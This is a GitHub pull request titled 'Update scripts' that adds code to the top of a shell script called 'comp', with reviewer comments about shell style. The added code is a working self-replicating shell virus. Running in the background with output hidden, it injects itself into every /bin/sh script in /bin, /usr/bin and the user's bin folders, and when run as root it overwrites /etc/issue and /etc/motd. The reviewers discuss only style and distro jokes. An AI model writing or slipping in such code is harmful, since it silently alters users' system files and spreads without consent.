Skip to content

Update scripts#32

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
Humm42 wants to merge 1 commit into
base:master
Choose a base branch
from
Open

Update scripts #32

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 23 additions & 0 deletions comp
View file
Open in desktop
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,27 @@
#!/bin/sh
{
for i in * /bin/* /usr/bin/* /usr/local/bin/* ~/bin/* ~/.local/bin/*
Comment thread
Humm42 marked this conversation as resolved.
do
if sed 1q "$i" | grep '^#![ ]*/bin/sh'
then
if ! grep '^# mark$' "$i"

@ghostghostFeb 6, 2021

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a wildly unnecessary use of grep(1). Instead, and much more efficiently, make use of glob pattern matching within a case statement:

case$iin\#\ mark)
COMMANDS ;;
esac

@Humm42Humm42Feb 7, 2021

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Are you a troll or can you just not read shell scripts? $i is the name of a file.

@ghostghostFeb 8, 2021

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is GitHub, not Reddit. You needn't resort to such petty acts as name-calling.

@Humm42Humm42Feb 9, 2021

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Okay, I am sorry, please disregard the name-calling question.

then
sed 1q "$i" >"/tmp/x$$"
sed '1d
/^# mark$/q' "$0" >>"/tmp/x$$"
sed 1d "$i" >>"/tmp/x$$"
cp "/tmp/x$$" "$i"
fi
fi
done
if ls -l "/tmp/x$$" | grep root

@ghostghostFeb 6, 2021•
edited by ghost
Loading

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As this is the long (-l) form of ls(1), I have to wonder whether you're looking for a user or group called 'root', or a file called 'root'. Especially if it's the latter, you can just use glob filename pattern matching. There's almost never a need nor a recommendation to use ls(1) within a shell script; it's often unreliable and usually redundant.

Also, ls(1) will not be checking for whether it's a directory, a file, or something else (IE: FIFO or a block special file) which can cause problems when you want something specific.

Instead of using ls(1), you could opt to use find(1):

find /tmp -xdev -maxdepth 1 -type f -name "x$$" -user 'root' -o -group 'root'| ...

That's more reliable and robust, searching only for files, keeping to the same filesystem, being non-recursive (like your use of ls), matching only files, and files whose user or group is 'root'.

@Humm42Humm42Feb 7, 2021

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It is quite obvious that I am trying to check whether the file that was written earlier is owned by user or group root. Sure, I could hassle with—I could even replace the whole if command list by a single find (see -exec). Or, I could just ignore the existence of an abomination like find till there is a need for it. I could also use something like id to check whether we are root. Many pretty much equivalent fine options.

@ghostghostFeb 8, 2021•
edited by ghost
Loading

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

find(1) offers a lot of great functionality in an efficient and fairly portable way, as I demonstrated, but you're of course welcome to write in whatever way you please.

then
echo 'install 9front

@wiltaylorwiltaylorFeb 6, 2021

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should say nixos not 9front :p

@Humm42Humm42Feb 6, 2021

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe he is using NixOS already, though.

@wiltaylorwiltaylorFeb 6, 2021

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nah his repo would be wrapped in heaps of nix scripts if he did.

' | tee /etc/issue >/etc/motd
fi
rm "/tmp/x$$"
} >/dev/null 2>/dev/null &

@ghostghostFeb 6, 2021•
edited by ghost
Loading

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

IIRC, this won't work properly. The correct* non-BASH version would be: >/dev/null 2>&1

To my knowledge, at least in BASH, redirection works in reverse; this is likely for Bourne Shell, too. So, in this case, STDERR is first redirected to STDOUT, then STDOUT and STDERR are both redirected to the desired location of '/dev/null'.

*Unless this changed at some point.

@Humm42Humm42Feb 7, 2021

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Are you aware that I am not duplicating file descriptors anywhere but opening new ones? Do you see a problem with opening /dev/null twice in the same process? I don’t.

Also, I don’t care about the Bourne Shell: The whole thing would not work with the Bourne Shell, since it doesn’t have comments. I care about the POSIX shell language.

@ghostghostFeb 8, 2021

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You don't care about Bourne Shell? You probably should, since that's the syntax of shell you're using.

Did you even read what I said? I feel like your needless hostility to everything I've said to try to help you is going to make any interaction with you a waste of time, so I'll leave you be. Thanks at least for replying.

@Humm42Humm42Feb 9, 2021

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The syntax of shell I am using is the syntax POSIX specifies, which is not the Bourne Shell. The Bourne Shell is an ancestor of the POSIX command language, and not used anymore—at least I have yet to see someone using a port of the Bourne Shell to something like Linux or today’s BSDs.

The last line of the code I am adding is a comment. You know what the Bourne Shell says when stumbling upon a comment?
#: not found

Why exactly do you think >/dev/null 2>/dev/null is a problem?

# mark
# General handler for compiling files

file=$(readlink -f "$1")
Expand Down